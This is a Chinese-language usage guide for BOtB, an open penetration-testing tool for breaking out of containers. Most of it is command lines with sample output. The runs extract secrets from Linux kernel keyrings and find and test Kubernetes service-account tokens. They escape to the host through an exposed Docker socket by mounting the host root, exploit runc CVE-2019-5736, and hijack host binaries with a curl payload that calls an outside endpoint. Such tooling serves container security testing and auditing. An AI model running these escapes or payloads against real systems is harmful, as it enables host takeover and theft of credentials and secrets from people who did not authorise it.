BOtB 是一款容器分析与利用工具,专为渗透测试工程师和普通工程师设计,同时支持常见的 CI/CD 技术,便于集成到持续集成/持续部署流程中。
BOtB 是一款 CLI 工具,能够让你:
如需通过二进制文件进行安装,请访问 发布页面。
go get github.com/brompwnie/botb
通过 Go 构建 BOtB:
go build
通过 Make 构建 BOtB:
make
BOtB 可编译为针对目标平台的二进制文件,支持以下用法:
./botb-linux-amd64 -h
-aggr string
尝试利用 RuncPWN(默认 "nil")
-always-succeed
始终将 BOtB 的退出码设置为零
-autopwn
尝试自动利用暴露的套接字
-cicd
尝试自动利用但不进入 TTY,成功时返回退出码 1,否则返回 0
-config string
从提供的 YAML 文件加载配置(默认 "nil")
-endpoints string
提供一个文本文件,其中包含用于测试的端点(默认 "nil")
-find-docker
尝试查找 Docker 守护进程
-find-http
搜索支持 HTTP 的可用 UNIX 域套接字
-find-sockets
搜索可用的 UNIX 域套接字
-hijack string
尝试劫持主机上的二进制文件(默认 "nil")
-k8secrets
识别并验证 K8s 密钥
-keyMax int
最大密钥 ID 范围(默认 100000000),系统最大值为 999999999(默认 100000000)
-keyMin int
最小密钥 ID 范围(默认 1)(默认 1)
-metadata
尝试查找元数据服务
-path string
开始扫描 UNIX 域套接字的路径(默认 "/")
-pwn-privileged string
提供命令负载,尝试利用 --privilege CGROUP release_agent 漏洞(默认 "nil")
-pwnKeyctl
滥用 keyctl 系统调用并从 Linux 内核密钥环提取数据
-recon
执行容器环境的信息收集
-region string
提供 AWS 区域,例如 eu-west-2(默认 "nil")
-rev-dns string
对子网执行反向 DNS 查找。参数必须使用 CIDR 表示法,例如 -rev-dns 192.168.0.0/24(默认 "nil")
-s3bucket string
提供用于 S3 推送的存储桶名称(默认 "nil")
-s3push string
将文件推送到 S3,例如完整的命令为:-region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME(默认 "nil")
-scrape-gcp
尝试抓取 GCP 元数据服务
-verbose
详细输出
-wordlist string
提供单词列表(默认 "nil")
BOtB 也可以通过 config 参数从 YAML 文件加载设置:
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...
以下使用示例默认在检测到异常时都会返回大于 0 的退出码,通过 "echo $?" 可以查看最后一条命令的退出码。
更多信息请参见原作者的文章:https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
"KeyId": 13738777,
"Valid": true,
"Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
"Type": "keyring",
"Uid": "0",
"Gid": "0",
"Perms": "3f1b0000",
"String_Content": "\ufffd\ufffd\ufffd\u000e",
"Byte_Content": "wP73Dg==",
"Comments": null,
"Subkeys": [
{
"KeyId": 251133632,
"Valid": true,
"Name": "brompwnie_secret",
"Type": "user",
"Uid": "0",
"Gid": "0",
"Perms": "3f010000",
"String_Content": "thetruthisialsoreallyliketrees",
"Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
"Comments": null,
"Subkeys": null,
"Output": ""
}
],
"Output": ""
}
[+] Finished
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished
该方法将逃逸到主机的交互式 TTY 中。
#./bob_linux_amd64 -autopwn=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #
该方法不会逃逸到主机的 TTY,而是返回大于 0 的退出码以表示逃逸成功。
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn: /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished
#echo $?
1
请注意,要使此利用成功,必须在目标容器中执行一个进程。
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished
请注意,这可用于测试外部实体是否在容器内执行命令。例如 Docker Exec 和 Kubetcl CP。
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$
1¶m2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1
[+] Currently hijacking: /bin
[+] Currently hijacking: /sbin
[+] Currently hijacking: /usr/bin
[+] Finished
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished
#echo $?
1
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished
#echo $?
1